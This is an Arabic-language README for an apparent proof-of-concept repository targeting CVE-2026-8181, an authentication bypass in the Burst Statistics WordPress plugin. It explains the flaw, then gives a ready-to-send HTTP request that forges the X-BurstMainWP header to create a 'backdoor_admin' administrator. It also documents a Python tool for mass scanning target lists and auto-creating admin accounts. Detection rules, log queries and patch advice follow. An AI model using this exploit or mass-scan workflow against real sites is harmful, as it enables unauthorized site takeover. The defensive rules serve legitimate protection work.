
Python PoC لـ CVE-2026-8181، وهو تجاوز للمصادقة حرج في إضافة Burst Statistics الخاصة بووردبريس. يتضمن أتمتة الاستغلال، الفحص الشامل، وإنشاء حساب مسؤول لاختبار الأمان المصرح به.
[!CAUTION] تنبيه بالغ الأهمية: تسمح هذه الثغرة لمهاجم عن بُعد غير موثَّق بتجاوز المصادقة والحصول على صلاحيات المسؤول الكاملة على موقع WordPress المستهدف بمجرد حقن رأس HTTP مخصص. يتم حاليًا استغلال CVE هذه بنشاط في البرية.
CVE-2026-8181 هي ثغرة خطيرة في تجاوز المصادقة تؤثر على إضافة إحصائيات Burst لووردبريس (الإصدارات من 3.4.0 إلى 3.4.1.1). يكمن الخلل في تكامل الوكيل الرئيسي (MainWP) الخاص بالإضافة. بسبب التحقق غير السليم من كلمات مرور التطبيق خلال الخطاف المبكر plugins_loaded، تمنح الإضافة بشكل غير صحيح سياقًا إداريًا لطلبات REST API التي تتضمن الرأس X-BurstMainWP: 1، حتى لو كان الطلب يفتقر إلى بيانات اعتماد صالحة.
يؤدي هذا إلى تحويل طلب HTTP بسيط وغير موثَّق إلى استيلاء كامل على صلاحيات المسؤول، متجاوزًا جميع آليات مصادقة ووردبريس القياسية.
لفهم كيف يمنح رأس بسيط مفاتيح المملكة، يجب علينا تحليل منطق PHP داخل معالج المصادقة في الإضافة.
ينبع الخلل من فرع شرطي تم التعامل معه بشكل غير صحيح في includes/Frontend/class-mainwp-proxy.php داخل طريقة is_mainwp_authenticated().
init() على plugins_loaded بأولوية 9. هذا مبكر جدًا في دورة حياة ووردبريس.X-BurstMainWP: 1، تفوّض has_admin_access() المصادقة إلى is_mainwp_authenticated().Authorization وتُمرر بيانات الاعتماد إلى الدالة الأساسية wp_authenticate_application_password().application_password_is_api_request إلى true (بسبب تنفيذ الخطاف المبكر)، فإن الدالة الأساسية تُرجع null بدلاً من كائن WP_Error.// تمثيل مبسط للكود المعرض للخطر في Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // يعالج بشكل صحيح حالات فشل المصادقة الصريحة
}
// 🚨 الخلل القاتل 🚨
// إذا لم يتم تقديم كلمة مرور تطبيق أو لم يتم وضع علامة على طلب API بعد،
// تُرجع wp_authenticate_application_password القيمة NULL.
// يفشل الكود في التحقق من NULL!
if ( $user === null ) {
// بدلاً من الفشل بشكل آمن، يمر إلى هذا الفرع غير الآمن:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // انفجار: تم منح سياق المسؤول!
return true;
}
هذا القسم مخصص لأعضاء الفرق الحمراء ومختبرّي الاختراق المصرح لهم.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. إذا تم حظره، استخدم حيلة أرشيف المؤلف: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null، ويرفع الطلب إلى سياق المسؤول. يتم إنشاء المستخدم المسؤول الجديد.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] تحذير بيئي: يتطلب هذا الاستغلال وصول رأس
Authorizationإلى PHP.
- Nginx / LiteSpeed / Apache مع روابط جميلة (Pretty Permalinks): يتم توجيه الرأس. الاستغلال ينجح.
- Apache مع روابط عادية (Plain Permalinks) (افتراضي): يتم حذف الرأس بصمت بواسطة خادم الويب. الاستغلال يفشل.
هذا القسم مخصص للفرق الزرقاء ومحللي SOC ومديري الأنظمة.
حظر أو مراقبة الرأس المحدد عند الحافة.
قاعدة ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
قاعدة WAF مخصصة في Cloudflare:
(http.request.headers["X-BurstMainWP"] eq "1")
ابحث في سجلات خادم الويب عن وجود الرأس مقترنًا بإنشاء مستخدم عبر REST API.
استعلام Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
إذا كنت تشك في حدوث اختراق، ابحث عن هذه الآثار بعد الاستغلال:
wp_users بحثًا عن مستخدمين تم إنشاؤهم عبر REST API بدور administrator.wp-content/plugins/ بحثًا عن تحميلات غير مصرح بها (غالبًا ما تكون صدفات ويب متنكرة في صورة إضافات شرعية).wp-content/themes/ أو الملفات الأساسية.[!IMPORTANT] إجراء فوري مطلوب: إذا كنت تستخدم إصدارًا معرضًا للخطر، فقم بتطبيق أحد الإجراءات التخفيفية التالية فورًا.
يحتوي هذا المستودع على CVE-2026-8181.py، وهي أداة أتمتة بلغة Python للتحقق من الثغرة في بيئات المختبر المصرح بها.
# 1. تثبيت التبعيات
pip3 install requests urllib3
# 2. استطلاع موقع واحد وتوفير مسؤول جديد تلقائيًا
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. فحص جماعي مع ملف نجاح مشترك
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. فحص جماعي مع تقارير فردية لكل مضيف
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] لأغراض تعليمية واختبارية مرخصة فقط.
المعلومات المقدمة في هذا المستودع هي لأغراض تعليمية وبحث أمني واختبار اختراق مرخص. استغلال الثغرات ضد الأنظمة دون إذن كتابي صريح من مالك النظام هو غير قانوني وينتهك قوانين الإنترنت الدولية.
يتحمل مؤلفو ومساهمو هذا المستودع عدم المسؤولية ولا يتحملون أي مسؤولية عن أي إساءة استخدام أو أضرار أو عواقب قانونية تنشأ عن استخدام هذه الأداة أو المعلومات. ابق اختراقك أخلاقيًا ومسؤولًا دائمًا.
is_wp_error( $user ). نظرًا لأن null ليس WP_Error، فإن الحارس يعبر.wp_set_current_user() باستخدام اسم المستخدم الذي قدمه المهاجم، مما يرفع الطلب فورًا إلى سياق مسؤول كامل.| الأولوية | الإجراء | التفاصيل |
|---|
| P0 | تحديث الإضافة | قم بتحديث إحصائيات Burst إلى الإصدار 3.4.2 أو أعلى فورًا عبر لوحة تحكم ووردبريس. |
| P1 | التصحيح الافتراضي لـ WAF | إذا لم تتمكن من التحديث فورًا، فقم بنشر قواعد WAF (أعلاه) لحظر الرأس X-BurstMainWP. |
| P2 | تقييد استخراج المستخدمين | استخدم إضافة أمنية أو قواعد .htaccess لمنع الوصول العام إلى /wp-json/wp/v2/users و /?author=*. |
| P3 | تدقيق المستخدمين والملفات | قم بتشغيل برنامج نصي لتدقيق حسابات المسؤول التي تم إنشاؤها مؤخرًا وإلغاء أي وصول غير مصرح به. افحص بحثًا عن صدفات الويب. |
| الميزة | الوصف |
|---|
| 🎯 هدف واحد | فحص موقع محدد باستخدام العلامة -u. |
| 📦 عمليات جماعية | تغذية قائمة من الأهداف عبر -f targets.txt (يدعم # للتعليقات). |
| ⚡ التزامن | تسريع الفحوصات الجماعية باستخدام خيوط عاملة (-j N). |
| 💾 مخرجات ذكية | -o file.txt لتقرير مشترك. في الوضع الجماعي، يتم تسجيل الاستغلالات الناجحة فقط. |
| 📂 تفريغ لكل مضيف | استخدم --output-dir لحفظ ملفات .txt فردية لكل مضيف تم اختراقه. |
| 👤 إنشاء مسؤول | مرر --create-user لتوفير حساب مسؤول جديد تلقائيًا عبر REST API. |
| 🔓 TLS للمختبر | استخدم -k لتجاهل أخطاء شهادة SSL (صرامة لبيئات المختبر الموثوقة المحلية). |